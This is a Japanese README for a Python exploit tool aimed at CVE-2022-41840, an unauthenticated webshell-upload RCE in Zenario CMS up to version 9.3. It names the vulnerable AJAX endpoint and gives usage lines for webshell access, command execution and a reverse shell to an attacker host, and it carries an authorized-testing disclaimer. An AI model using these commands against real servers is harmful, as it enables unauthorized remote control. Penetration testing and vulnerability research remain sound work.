Zenario CMS 9.3 - 未認証RCEエクスプロイト

CVE-2022-41840

Zenario CMS バージョン9.3以前に影響する未認証のリモートコード実行（RCE）脆弱性です。このエクスプロイトは、AJAXエンドポイントのファイルアップロード脆弱性を悪用してPHPウェブシェルをアップロードし、コード実行を達成します。

脆弱性の詳細

• CVE: CVE-2022-41840
• 影響を受けるバージョン: Zenario CMS <= 9.3
• 脆弱性の種類: 未認証のファイルアップロードによるRCE
• 攻撃ベクトル: /zenario/ajax.php へのHTTP POST
• 必要な権限: なし（未認証）

使用方法

対話型ウェブシェル

python3 zenario_exploit.py --target http://target.com

単一コマンドの実行

python3 zenario_exploit.py --target http://target.com --cmd "id"

リバースシェル

python3 zenario_exploit.py --target http://target.com --lhost 10.x.x.x --lport 4444

必要条件

• Python 3.x
• requests ライブラリ

依存関係をインストール:

pip install requests

機能

• 脆弱なAJAXエンドポイントを介した自動PHPウェブシェルアップロード
• 成功率を高めるための複数のinstanceId値のサポート
• JSONおよび正規表現ベースのパス抽出
• 複数のリバースシェルペイロードオプション（bash、python、perl、nc）
• ターミナル対応の完全対話型PTYシェル
• リバースシェル失敗時のウェブシェルフォールバック

免責事項

教育および許可されたセキュリティテスト目的に限ります。

このツールは、セキュリティ研究者やペネトレーションテスターが、自己所有または明示的なテスト許可を得たシステムをテストするために提供されています。コンピュータシステムへの不正アクセスは違法であり、固く禁止されています。

メンテナは、本ツールの誤用またはそれによって引き起こされた損害について一切の責任を負いません。

ライセンス

このコードは教育目的で提供されています。